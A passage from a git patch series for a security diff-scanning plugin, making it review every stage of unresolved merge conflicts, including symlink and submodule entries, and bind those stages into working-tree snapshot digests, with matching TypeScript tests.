error: - raise SystemExit( - f"Unsafe changed repository path cannot be safely reviewed: {relative}" - ) from error - if ( - mode not in {b"100644", b"100755"} - or stage != b"0" - or staged_path != os.fsencode(relative) - ): + previews: list[str] = [] + seen_stages: set[bytes] = set() + for entry in entries: + try: + metadata, staged_path = entry.split(b"\t", 1) + mode, object_id, stage = metadata.split(b" ", 2) + except ValueError as error: + raise SystemExit( + f"Unsafe changed repository path cannot be safely reviewed: {relative}" + ) from error + if ( + mode not in {b"100644", b"100755"} + or stage not in {b"0", b"1", b"2", b"3"} + or stage in seen_stages + or staged_path != os.fsencode(relative) + ): + raise SystemExit( + f"Unsafe changed repository path cannot be safely reviewed: {relative}" + ) + seen_stages.add(stage) + preview, binary = git_blob_preview(command, environment, path, object_id, preview_bytes) + if binary: + continue + if stage == b"0": + previews.append(preview) + else: + label = {b"1": "Merge base", b"2": "Ours", b"3": "Theirs"}[stage] + previews.extend([f"{label} (stage {stage.decode('ascii')}):", *preview.splitlines()]) + if b"0" in seen_stages and len(seen_stages) != 1: raise SystemExit(f"Unsafe changed repository path cannot be safely reviewed: {relative}") - return git_blob_preview(command, environment, path, object_id, preview_bytes) + if not previews: + return "", True + return fit_preview_lines(previews, preview_bytes), False def staged_content_differs_from_working_tree(repo: Path, path: Path) -> bool: @@ -927,7 +946,7 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: if not diff_path_is_included(rel) and gitlink_revision is None: continue - if status in {"D", "U"}: + if status == "D": preview = "" else: if args.mode == "revisions": diff --git a/sdk/typescript/_bundled_plugin/skills/security-diff-scan/SKILL.md b/sdk/typescript/_bundled_plugin/skills/security-diff-scan/SKILL.md index 65ea9240..df8a0264 100644 --- a/sdk/typescript/_bundled_plugin/skills/security-diff-scan/SKILL.md +++ b/sdk/typescript/_bundled_plugin/skills/security-diff-scan/SKILL.md @@ -135,7 +135,7 @@ Diff scans should: - generate `rank_input.jsonl` deterministically from changed source-like files with ` /scripts/generate_rank_input.py make-diff-rank-input --repo --base --mode revisions --head --out /rank_input.jsonl` for PR, commit, and branch diffs, or ` /scripts/generate_rank_input.py make-diff-rank-input --repo --base --mode local-patch --out /rank_input.jsonl` for a local patch - for committed revision diffs, read every changed or supporting file exclusively from the selected immutable Git tree with `git --no-replace-objects -C show :`; for deleted files use `:`. For a changed Git submodule, inspect its recorded gitlink commit and `.gitmodules` configuration instead of treating the gitlink as a regular file. Never substitute the checked-out working-tree file, which may be from another revision or contain local edits -- for local patches, read every staged Git index blob in full with `git --no-replace-objects -C show :`, and separately read its working-tree version in full when it is a reviewable regular file; inspect both versions even when their sampled outlines match, when one version is binary, or when the staged file no longer exists in the working tree +- for local patches, read every staged Git index blob in full with `git --no-replace-objects -C show :`, including each available unresolved-conflict stage with `show :1:`, `show :2:`, and `show :3:`, and separately read its working-tree version in full when it is a reviewable regular file; inspect every representation even when sampled outlines match, when one version is binary, or when the staged file no longer exists in the working tree - copy every diff row into `deep_review_input.jsonl` with ` /scripts/generate_rank_input.py copy-deep-review-input --rank-input /rank_input.jsonl --out /deep_review_input.jsonl` - deep-review every file in `deep_review_input.jsonl` - add directly supporting files only when repository evidence shows they are needed to understand the changed security behavior diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index 5e168878..d3a95093 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -710,6 +710,43 @@ describe("diff rank input", () => { ).toContain("read every staged Git index blob in full"); }); + test("reviews every available stage of an unresolved Git merge conflict", async () => { + const fixture = await createRepository(); + const path = "src/app.ts"; + git(fixture.repository, "branch", "conflicting"); + await writeRepositoryFile( + fixture.repository, + path, + "export const ours = 'review our side';\n", + ); + git(fixture.repository, "add", path); + git(fixture.repository, "commit", "-qm", "ours"); + git(fixture.repository, "checkout", "-q", "conflicting"); + await writeRepositoryFile( + fixture.repository, + path, + "export const theirs = 'review their side';\n", + ); + git(fixture.repository, "add", path); + git(fixture.repository, "commit", "-qm", "theirs"); + git(fixture.repository, "checkout", "-q", "main"); + expect( + spawnSync("git", ["merge", "--no-edit", "conflicting"], { + cwd: fixture.repository, + encoding: "utf8", + }).status, + ).toBe(1); + + const row = (await runDiffRankInput(fixture, "local-patch")).find( + (candidate) => candidate.path === path, + ); + + expect(row?.preview).toContain("Merge base (stage 1):"); + expect(row?.preview).toContain("Ours (stage 2):"); + expect(row?.preview).toContain("Theirs (stage 3):"); + expect(row?.preview).toContain("Working tree:"); + }); + test("retains reviewable staged text when the working-tree version is binary", async () => { const fixture = await createRepository(); const path = "src/app.ts"; From 70b4e2a07d6911a1186815b285725bd452becc48 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Thu, 30 Jul 2026 14:28:22 -0700 Subject: [PATCH 20/46] fix: preserve conflicted Git symlink and submodule stages --- .../scripts/generate_rank_input.py | 18 +++++- .../tests-ts/diff-rank-input.test.ts | 61 +++++++++++++++++++ 2 files changed, 77 insertions(+), 2 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index aa2ab6c4..1c302b59 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -549,16 +549,28 @@ def staged_diff_preview(repo: Path, path: Path, preview_bytes: int) -> tuple[str f"Unsafe changed repository path cannot be safely reviewed: {relative}" ) from error if ( - mode not in {b"100644", b"100755"} + mode not in {b"100644", b"100755", b"120000", b"160000"} or stage not in {b"0", b"1", b"2", b"3"} or stage in seen_stages or staged_path != os.fsencode(relative) + or stage == b"0" and mode in {b"120000", b"160000"} ): raise SystemExit( f"Unsafe changed repository path cannot be safely reviewed: {relative}" ) seen_stages.add(stage) - preview, binary = git_blob_preview(command, environment, path, object_id, preview_bytes) + if mode == b"160000": + try: + preview = f"Git submodule pinned to commit {object_id.decode('ascii')}" + except UnicodeDecodeError as error: + raise SystemExit( + f"Unsafe changed repository path cannot be safely reviewed: {relative}" + ) from error + binary = False + else: + preview, binary = git_blob_preview(command, environment, path, object_id, preview_bytes) + if mode == b"120000": + preview = f"Symlink target: {preview}" if binary: continue if stage == b"0": @@ -958,6 +970,8 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: f"Git submodule pinned to commit {gitlink_revision}", False, ) + elif is_staged and status == "U" and path.is_symlink(): + preview, is_binary = staged_diff_preview(repo, path, args.preview_bytes) elif is_staged and not path.exists() and not path.is_symlink(): preview, is_binary = staged_diff_preview(repo, path, args.preview_bytes) elif is_staged: diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index d3a95093..8d15af55 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -747,6 +747,67 @@ describe("diff rank input", () => { expect(row?.preview).toContain("Working tree:"); }); + test("reviews immutable symlink targets across all unresolved merge stages", async () => { + const fixture = await createRepository(); + const path = "src/app.ts"; + const hashes = ["base-target.ts", "ours-target.ts", "theirs-target.ts"].map( + (target) => { + const hashed = spawnSync("git", ["hash-object", "-w", "--stdin"], { + cwd: fixture.repository, + encoding: "utf8", + input: target, + }); + expect(hashed.status, hashed.stderr).toBe(0); + return hashed.stdout.trim(); + }, + ); + const index = [ + `0 ${"0".repeat(40)}\t${path}`, + ...hashes.map((hash, index) => `120000 ${hash} ${index + 1}\t${path}`), + ].join("\n"); + const updated = spawnSync("git", ["update-index", "--index-info"], { + cwd: fixture.repository, + encoding: "utf8", + input: `${index}\n`, + }); + expect(updated.status, updated.stderr).toBe(0); + + const row = (await runDiffRankInput(fixture, "local-patch")).find( + (candidate) => candidate.path === path, + ); + + expect(row?.preview).toContain("Merge base (stage 1):"); + expect(row?.preview).toContain("Symlink target: base-target.ts"); + expect(row?.preview).toContain("Symlink target: ours-target.ts"); + expect(row?.preview).toContain("Symlink target: theirs-target.ts"); + }); + + test("preserves pinned submodule revisions across unresolved merge stages", async () => { + const fixture = await createRepository(); + const path = ".github/actions/security"; + const index = [ + `0 ${"0".repeat(40)}\t${path}`, + ...[1, 2, 3].map((stage) => `160000 ${fixture.base} ${stage}\t${path}`), + ].join("\n"); + const updated = spawnSync("git", ["update-index", "--index-info"], { + cwd: fixture.repository, + encoding: "utf8", + input: `${index}\n`, + }); + expect(updated.status, updated.stderr).toBe(0); + + const row = (await runDiffRankInput(fixture, "local-patch")).find( + (candidate) => candidate.path === path, + ); + + expect(row?.preview).toContain("Merge base (stage 1):"); + expect(row?.preview).toContain("Ours (stage 2):"); + expect(row?.preview).toContain("Theirs (stage 3):"); + expect(row?.preview).toContain( + `Git submodule pinned to commit ${fixture.base}`, + ); + }); + test("retains reviewable staged text when the working-tree version is binary", async () => { const fixture = await createRepository(); const path = "src/app.ts"; From a0cf6327a4c9c22d27023b0b2af060df166849bb Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Thu, 30 Jul 2026 14:46:56 -0700 Subject: [PATCH 21/46] fix: bind every conflicted Git index stage to scan snapshots --- .../scripts/generate_rank_input.py | 35 ++++++--- .../scripts/workbench_target.py | 25 ++++++ .../tests-ts/diff-rank-input.test.ts | 78 +++++++++++++++++++ 3 files changed, 127 insertions(+), 11 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index 1c302b59..5149bd97 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -936,6 +936,7 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: rel = path.relative_to(repo) gitlink_revision = None index_is_gitlink = False + index_has_conflicted_gitlink = False if args.mode == "revisions": revisions = ( (args.base, args.head) @@ -949,6 +950,9 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: else: gitlink_revision = index_gitlink_revision(repo, rel) index_is_gitlink = gitlink_revision is not None + if gitlink_revision is None and (status == "U" or path.is_dir()): + gitlink_revision = index_gitlink_revision(repo, rel, allow_conflicted=True) + index_has_conflicted_gitlink = gitlink_revision is not None if ( gitlink_revision is None and status in {"D", "T"} @@ -970,7 +974,9 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: f"Git submodule pinned to commit {gitlink_revision}", False, ) - elif is_staged and status == "U" and path.is_symlink(): + elif is_staged and (status == "U" or index_has_conflicted_gitlink) and ( + path.is_symlink() or path.is_dir() or index_has_conflicted_gitlink + ): preview, is_binary = staged_diff_preview(repo, path, args.preview_bytes) elif is_staged and not path.exists() and not path.is_symlink(): preview, is_binary = staged_diff_preview(repo, path, args.preview_bytes) @@ -1054,7 +1060,9 @@ def is_immutable_gitlink(repo: Path, head: str, relative: Path) -> bool: return len(entries) == 1 and entries[0].startswith(b"160000 commit ") -def index_gitlink_revision(repo: Path, relative: Path) -> str | None: +def index_gitlink_revision( + repo: Path, relative: Path, *, allow_conflicted: bool = False +) -> str | None: executable = trusted_git_executable(repo) if executable is None: raise SystemExit("Git is unavailable on the trusted executable path.") @@ -1083,16 +1091,21 @@ def index_gitlink_revision(repo: Path, relative: Path) -> str | None: if listed.returncode != 0: raise SystemExit("Could not inspect the selected Git diff.") entries = [entry for entry in listed.stdout.split(b"\0") if entry] - if len(entries) != 1: - return None - try: - metadata, path = entries[0].split(b"\t", 1) - mode, object_id, _stage = metadata.split(b" ", 2) - except ValueError: + if len(entries) != 1 and not allow_conflicted: return None - if mode != b"160000" or path != os.fsencode(relative.as_posix()): - return None - return object_id.decode("ascii") + for entry in entries: + try: + metadata, path = entry.split(b"\t", 1) + mode, object_id, stage = metadata.split(b" ", 2) + except ValueError: + return None + if ( + mode == b"160000" + and path == os.fsencode(relative.as_posix()) + and (stage == b"0" or allow_conflicted) + ): + return object_id.decode("ascii") + return None def make_rank_shards(args: argparse.Namespace) -> None: diff --git a/sdk/typescript/_bundled_plugin/scripts/workbench_target.py b/sdk/typescript/_bundled_plugin/scripts/workbench_target.py index 65333a74..099be4f8 100644 --- a/sdk/typescript/_bundled_plugin/scripts/workbench_target.py +++ b/sdk/typescript/_bundled_plugin/scripts/workbench_target.py @@ -145,6 +145,7 @@ def worktree_content_digest_for_context( if legacy: staged = b"" unstaged = b"" + conflicted_index = b"" else: staged = git_bytes( repository, @@ -174,6 +175,28 @@ def worktree_content_digest_for_context( git_dir=git_dir, work_tree=work_tree, ) + index_entries = git_bytes( + repository, + "ls-files", + "--stage", + "-z", + "--", + pathspec, + git_dir=git_dir, + work_tree=work_tree, + ) + if index_entries is None: + raise SystemExit("Could not snapshot the selected Git index.") + conflicts: list[bytes] = [] + for entry in (row for row in index_entries.split(b"\0") if row): + try: + metadata, _path = entry.split(b"\t", 1) + _mode, _object_id, stage = metadata.split(b" ", 2) + except ValueError as error: + raise SystemExit("Could not snapshot the selected Git index.") from error + if stage != b"0": + conflicts.append(entry) + conflicted_index = b"\0".join(sorted(conflicts)) untracked = git_bytes( repository, "ls-files", @@ -193,6 +216,8 @@ def worktree_content_digest_for_context( if staged or unstaged: update_digest_field(digest, b"index-diff", staged) update_digest_field(digest, b"working-tree-diff", unstaged) + if conflicted_index: + update_digest_field(digest, b"conflicted-index", conflicted_index) for raw_path in sorted(path for path in untracked.split(b"\0") if path): relative_path = os.fsdecode(raw_path) path = (work_tree or repository) / relative_path diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index 8d15af55..e1813ad1 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -795,6 +795,7 @@ describe("diff rank input", () => { input: `${index}\n`, }); expect(updated.status, updated.stderr).toBe(0); + await mkdir(join(fixture.repository, path), { recursive: true }); const row = (await runDiffRankInput(fixture, "local-patch")).find( (candidate) => candidate.path === path, @@ -808,6 +809,31 @@ describe("diff rank input", () => { ); }); + test("reviews conflicted submodule stages under excluded dependency directories", async () => { + const fixture = await createRepository(); + const path = "vendor/dependency"; + const index = [ + `0 ${"0".repeat(40)}\t${path}`, + ...[2, 3].map((stage) => `160000 ${fixture.base} ${stage}\t${path}`), + ].join("\n"); + const updated = spawnSync("git", ["update-index", "--index-info"], { + cwd: fixture.repository, + encoding: "utf8", + input: `${index}\n`, + }); + expect(updated.status, updated.stderr).toBe(0); + + const row = (await runDiffRankInput(fixture, "local-patch")).find( + (candidate) => candidate.path === path, + ); + + expect(row?.preview).toContain("Ours (stage 2):"); + expect(row?.preview).toContain("Theirs (stage 3):"); + expect(row?.preview).toContain( + `Git submodule pinned to commit ${fixture.base}`, + ); + }); + test("retains reviewable staged text when the working-tree version is binary", async () => { const fixture = await createRepository(); const path = "src/app.ts"; @@ -1176,6 +1202,58 @@ describe("diff rank input", () => { expect(digest()).not.toBe(previous); }); + test("binds every unresolved Git merge stage into local-patch snapshot digests", async () => { + const fixture = await createRepository(); + const path = "src/app.ts"; + const objectId = (contents: string): string => + execFileSync("git", ["hash-object", "-w", "--stdin"], { + cwd: fixture.repository, + encoding: "utf8", + input: contents, + }).trim(); + const stageIds = ["base", "ours", "theirs"].map((value) => + objectId(`export const value = '${value}';\n`), + ); + const setStages = (identifiers: string[]): void => { + const index = [ + `0 ${"0".repeat(40)}\t${path}`, + ...identifiers.map( + (identifier, stage) => `100644 ${identifier} ${stage + 1}\t${path}`, + ), + ].join("\n"); + const updated = spawnSync("git", ["update-index", "--index-info"], { + cwd: fixture.repository, + encoding: "utf8", + input: `${index}\n`, + }); + expect(updated.status, updated.stderr).toBe(0); + }; + const python = Bun.which("python3") ?? Bun.which("python"); + expect(python).not.toBeNull(); + const digest = (): string => + execFileSync( + python!, + [ + "-I", + "-B", + "-c", + "import sys; from pathlib import Path; sys.path.insert(0, sys.argv[1]); from workbench_target import worktree_content_digest; print(worktree_content_digest(Path(sys.argv[2])))", + join(PLUGIN_ROOT, "scripts"), + fixture.repository, + ], + { encoding: "utf8" }, + ).trim(); + + setStages(stageIds); + const previous = digest(); + setStages([ + objectId("export const value = 'different base';\n"), + ...stageIds.slice(1), + ]); + + expect(digest()).not.toBe(previous); + }); + test("preserves legacy working-tree snapshots while binding new index digests", async () => { const fixture = await createRepository(); await writeRepositoryFile( From b2f1d9d17370081f870a68eb1081f5ca4a013757 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Thu, 30 Jul 2026 15:04:06 -0700 Subject: [PATCH 22/46] fix: preserve conflicted submodule and snapshot compatibility --- .../_bundled_plugin/scripts/workbench_db.py | 5 +- .../scripts/workbench_target.py | 22 +++- .../tests-ts/diff-rank-input.test.ts | 106 ++++++++++++++++++ 3 files changed, 127 insertions(+), 6 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/workbench_db.py b/sdk/typescript/_bundled_plugin/scripts/workbench_db.py index 1ea53618..ecbf8d08 100644 --- a/sdk/typescript/_bundled_plugin/scripts/workbench_db.py +++ b/sdk/typescript/_bundled_plugin/scripts/workbench_db.py @@ -379,7 +379,10 @@ def require_diff_target( "Select Uncommitted changes again." ) if content_digest and content_digest != current_digest: - if content_digest != worktree_content_digest(target, legacy=True): + if content_digest not in { + worktree_content_digest(target, include_conflicted_index=False), + worktree_content_digest(target, legacy=True), + }: raise SystemExit( "Working-tree contents changed after they were selected. " "Select Uncommitted changes again." diff --git a/sdk/typescript/_bundled_plugin/scripts/workbench_target.py b/sdk/typescript/_bundled_plugin/scripts/workbench_target.py index 099be4f8..7c5b6b54 100644 --- a/sdk/typescript/_bundled_plugin/scripts/workbench_target.py +++ b/sdk/typescript/_bundled_plugin/scripts/workbench_target.py @@ -114,10 +114,17 @@ def git_diff_content_digest(target: Path, base_revision: str, head_revision: str return f"codex-security-snapshot/v1:sha256:{digest.hexdigest()}" -def worktree_content_digest(target: Path, *, legacy: bool = False) -> str: +def worktree_content_digest( + target: Path, *, legacy: bool = False, include_conflicted_index: bool = True +) -> str: require_clean_submodule_worktrees(target) repository, pathspec = git_worktree_context(target) - return worktree_content_digest_for_context(repository, pathspec, legacy=legacy) + return worktree_content_digest_for_context( + repository, + pathspec, + legacy=legacy, + include_conflicted_index=include_conflicted_index, + ) def worktree_content_digest_for_context( @@ -127,6 +134,7 @@ def worktree_content_digest_for_context( git_dir: Path | None = None, work_tree: Path | None = None, legacy: bool = False, + include_conflicted_index: bool = True, ) -> str: tracked = git_bytes( repository, @@ -196,7 +204,7 @@ def worktree_content_digest_for_context( raise SystemExit("Could not snapshot the selected Git index.") from error if stage != b"0": conflicts.append(entry) - conflicted_index = b"\0".join(sorted(conflicts)) + conflicted_index = b"\0".join(sorted(conflicts)) if include_conflicted_index else b"" untracked = git_bytes( repository, "ls-files", @@ -308,7 +316,10 @@ def git_submodule_paths(target: Path) -> tuple[Path, ...]: def require_clean_submodule_worktrees(target: Path) -> None: - for submodule, expected_revision in git_submodule_entries(target): + expected_revisions: dict[Path, set[str]] = {} + for submodule, revision in git_submodule_entries(target): + expected_revisions.setdefault(submodule, set()).add(revision) + for submodule, revisions in expected_revisions.items(): relative_path = str(submodule.relative_to(target)) if not submodule.exists(): continue @@ -325,7 +336,7 @@ def require_clean_submodule_worktrees(target: Path) -> None: raise SystemExit( f"Could not inspect initialized Git submodule contents: {relative_path}" ) - if git_output(submodule, "rev-parse", "HEAD") != expected_revision: + if git_output(submodule, "rev-parse", "HEAD") not in revisions: raise SystemExit( "Initialized Git submodules must be checked out at the revision recorded " f"by the parent repository: {relative_path}" @@ -653,6 +664,7 @@ def scan_target_warning(scan: sqlite3.Row) -> str | None: ) if ( worktree_content_digest(target) != expected_digest + and worktree_content_digest(target, include_conflicted_index=False) != expected_digest and worktree_content_digest(target, legacy=True) != expected_digest ): return ( diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index e1813ad1..b885702d 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -809,6 +809,54 @@ describe("diff rank input", () => { ); }); + test("snapshots initialized Git submodules with conflicting pinned revisions", async () => { + const fixture = await createRepository(); + const path = ".github/actions/security"; + const submodule = join(fixture.repository, path); + await mkdir(submodule, { recursive: true }); + git(submodule, "init", "-q", "-b", "main"); + git(submodule, "config", "user.name", "Codex Security Test"); + git(submodule, "config", "user.email", "codex-security@example.invalid"); + await writeRepositoryFile(submodule, "action.yml", "runs: node20\n"); + git(submodule, "add", "."); + git(submodule, "commit", "-qm", "first pin"); + const first = git(submodule, "rev-parse", "HEAD"); + await writeRepositoryFile(submodule, "action.yml", "runs: node24\n"); + git(submodule, "commit", "-qam", "second pin"); + const second = git(submodule, "rev-parse", "HEAD"); + const index = [ + `0 ${"0".repeat(40)}\t${path}`, + `160000 ${first} 1\t${path}`, + `160000 ${second} 2\t${path}`, + `160000 ${first} 3\t${path}`, + ].join("\n"); + const updated = spawnSync("git", ["update-index", "--index-info"], { + cwd: fixture.repository, + encoding: "utf8", + input: `${index}\n`, + }); + expect(updated.status, updated.stderr).toBe(0); + const python = Bun.which("python3") ?? Bun.which("python"); + expect(python).not.toBeNull(); + + const digest = execFileSync( + python!, + [ + "-I", + "-B", + "-c", + "import sys; from pathlib import Path; sys.path.insert(0, sys.argv[1]); from workbench_target import worktree_content_digest; print(worktree_content_digest(Path(sys.argv[2])))", + join(PLUGIN_ROOT, "scripts"), + fixture.repository, + ], + { encoding: "utf8" }, + ).trim(); + + expect(digest).toMatch( + /^codex-security-snapshot\/v1:sha256:[a-f0-9]{64}$/u, + ); + }); + test("reviews conflicted submodule stages under excluded dependency directories", async () => { const fixture = await createRepository(); const path = "vendor/dependency"; @@ -1254,6 +1302,64 @@ describe("diff rank input", () => { expect(digest()).not.toBe(previous); }); + test("accepts immediately preceding snapshot digests for unresolved conflicts", async () => { + const fixture = await createRepository(); + const path = "src/app.ts"; + const hashes = ["base-target.ts", "ours-target.ts", "theirs-target.ts"].map( + (target) => + execFileSync("git", ["hash-object", "-w", "--stdin"], { + cwd: fixture.repository, + encoding: "utf8", + input: target, + }).trim(), + ); + const index = [ + `0 ${"0".repeat(40)}\t${path}`, + ...hashes.map((hash, stage) => `120000 ${hash} ${stage + 1}\t${path}`), + ].join("\n"); + const updated = spawnSync("git", ["update-index", "--index-info"], { + cwd: fixture.repository, + encoding: "utf8", + input: `${index}\n`, + }); + expect(updated.status, updated.stderr).toBe(0); + const python = Bun.which("python3") ?? Bun.which("python"); + expect(python).not.toBeNull(); + const result = execFileSync( + python!, + [ + "-I", + "-B", + "-c", + [ + "import json, sys", + "from pathlib import Path", + "sys.path.insert(0, sys.argv[1])", + "from workbench_db import require_diff_target", + "from workbench_target import worktree_content_digest", + "target = Path(sys.argv[2])", + "revision = sys.argv[3]", + "previous = worktree_content_digest(target, include_conflicted_index=False)", + "current = worktree_content_digest(target)", + "selected = require_diff_target(target, 'working_tree', revision, revision, previous)", + "print(json.dumps({'previous': previous, 'current': current, 'selected': selected['contentDigest']}))", + ].join("\n"), + join(PLUGIN_ROOT, "scripts"), + fixture.repository, + fixture.base, + ], + { encoding: "utf8" }, + ); + const snapshots = JSON.parse(result) as { + previous: string; + current: string; + selected: string; + }; + + expect(snapshots.current).not.toBe(snapshots.previous); + expect(snapshots.selected).toBe(snapshots.current); + }); + test("preserves legacy working-tree snapshots while binding new index digests", async () => { const fixture = await createRepository(); await writeRepositoryFile( From 24d97a2cb308e45e61adc663b1d03ae3a5a70b13 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Thu, 30 Jul 2026 15:14:47 -0700 Subject: [PATCH 23/46] fix: detect conflict-stage changes during active scans --- .../_bundled_plugin/scripts/workbench_target.py | 1 - sdk/typescript/tests-ts/diff-rank-input.test.ts | 13 ++++++++++--- 2 files changed, 10 insertions(+), 4 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/workbench_target.py b/sdk/typescript/_bundled_plugin/scripts/workbench_target.py index 7c5b6b54..3ba58a88 100644 --- a/sdk/typescript/_bundled_plugin/scripts/workbench_target.py +++ b/sdk/typescript/_bundled_plugin/scripts/workbench_target.py @@ -664,7 +664,6 @@ def scan_target_warning(scan: sqlite3.Row) -> str | None: ) if ( worktree_content_digest(target) != expected_digest - and worktree_content_digest(target, include_conflicted_index=False) != expected_digest and worktree_content_digest(target, legacy=True) != expected_digest ): return ( diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index b885702d..9c6f16f6 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -1332,17 +1332,22 @@ describe("diff rank input", () => { "-B", "-c", [ - "import json, sys", + "import json, sqlite3, sys", "from pathlib import Path", "sys.path.insert(0, sys.argv[1])", + "from filesystem_identity import serialize_filesystem_identity", "from workbench_db import require_diff_target", - "from workbench_target import worktree_content_digest", + "from workbench_target import scan_target_warning, worktree_content_digest", "target = Path(sys.argv[2])", "revision = sys.argv[3]", "previous = worktree_content_digest(target, include_conflicted_index=False)", "current = worktree_content_digest(target)", "selected = require_diff_target(target, 'working_tree', revision, revision, previous)", - "print(json.dumps({'previous': previous, 'current': current, 'selected': selected['contentDigest']}))", + "connection = sqlite3.connect(':memory:')", + "connection.row_factory = sqlite3.Row", + "metadata = target.stat()", + "scan = connection.execute('SELECT ? AS diff_target_kind, ? AS target_snapshot_digest, ? AS target_path, ? AS target_device, ? AS target_inode, ? AS target_revision, ? AS diff_head_revision, ? AS diff_content_digest, ? AS scan_dir', ('working_tree', previous, str(target), serialize_filesystem_identity(metadata.st_dev), serialize_filesystem_identity(metadata.st_ino), revision, revision, previous, str(target.parent / 'scan'))).fetchone()", + "print(json.dumps({'previous': previous, 'current': current, 'selected': selected['contentDigest'], 'warning': scan_target_warning(scan)}))", ].join("\n"), join(PLUGIN_ROOT, "scripts"), fixture.repository, @@ -1354,10 +1359,12 @@ describe("diff rank input", () => { previous: string; current: string; selected: string; + warning: string | null; }; expect(snapshots.current).not.toBe(snapshots.previous); expect(snapshots.selected).toBe(snapshots.current); + expect(snapshots.warning).toContain("Working-tree contents changed"); }); test("preserves legacy working-tree snapshots while binding new index digests", async () => { From 222f0decff67c77e9c3f5139ad66e0b86e576b32 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Mon, 3 Aug 2026 06:53:29 -0700 Subject: [PATCH 24/46] fix: bind diff snapshots to one authoritative digest --- .../scripts/generate_rank_input.py | 2 + .../scripts/workbench_target.py | 5 +-- .../tests-ts/diff-rank-input.test.ts | 41 ++++++++++++++++++- 3 files changed, 43 insertions(+), 5 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index 5149bd97..33e3fba9 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -344,6 +344,8 @@ def path_is_excluded(path: Path) -> bool: def diff_path_is_security_relevant(path: Path) -> bool: + if path.parts == (".circleci", "config.yml"): + return True if path.name in SECURITY_RELEVANT_DIFF_FILENAMES: return True if path.name.startswith(("Dockerfile.", "Containerfile.")): diff --git a/sdk/typescript/_bundled_plugin/scripts/workbench_target.py b/sdk/typescript/_bundled_plugin/scripts/workbench_target.py index 3ba58a88..1f79968d 100644 --- a/sdk/typescript/_bundled_plugin/scripts/workbench_target.py +++ b/sdk/typescript/_bundled_plugin/scripts/workbench_target.py @@ -662,10 +662,7 @@ def scan_target_warning(scan: sqlite3.Row) -> str | None: expected_digest = ( scan["diff_content_digest"] if working_tree else scan["target_snapshot_digest"] ) - if ( - worktree_content_digest(target) != expected_digest - and worktree_content_digest(target, legacy=True) != expected_digest - ): + if worktree_content_digest(target) != expected_digest: return ( "Working-tree contents changed while the scan was running; " "results were saved for the original snapshot." diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index 9c6f16f6..3d84ec47 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -481,6 +481,7 @@ describe("diff rank input", () => { test("inventories committed security-sensitive workflows, containers, and agent instructions", async () => { const fixture = await createRepository(); const files: Record = { + ".circleci/config.yml": "version: 2.1\njobs: {}\n", ".dockerignore": "node_modules\nvendor\n", ".github/actions/build/action.yml": "runs:\n using: composite\n", ".github/actions/vendor/checkout/action.yml": @@ -550,6 +551,7 @@ describe("diff rank input", () => { expect(rows.map((row) => row.path)).toEqual( [ + ".circleci/config.yml", ".dockerignore", ".github/actions/build/action.yml", ".github/actions/security/action.yml", @@ -1250,6 +1252,43 @@ describe("diff rank input", () => { expect(digest()).not.toBe(previous); }); + test("reports staged changes hidden by a matching legacy snapshot", async () => { + const fixture = await createRepository(); + const python = Bun.which("python3") ?? Bun.which("python"); + expect(python).not.toBeNull(); + const warning = execFileSync( + python!, + [ + "-I", + "-B", + "-c", + [ + "import sqlite3, subprocess, sys", + "from pathlib import Path", + "sys.path.insert(0, sys.argv[1])", + "from filesystem_identity import serialize_filesystem_identity", + "from workbench_target import scan_target_warning, worktree_content_digest", + "target = Path(sys.argv[2])", + "revision = sys.argv[3]", + "expected = worktree_content_digest(target)", + "blob = subprocess.check_output(['git', '-C', str(target), 'hash-object', '-w', '--stdin'], input=b'export const value = 2;\\n', text=False).decode().strip()", + "subprocess.run(['git', 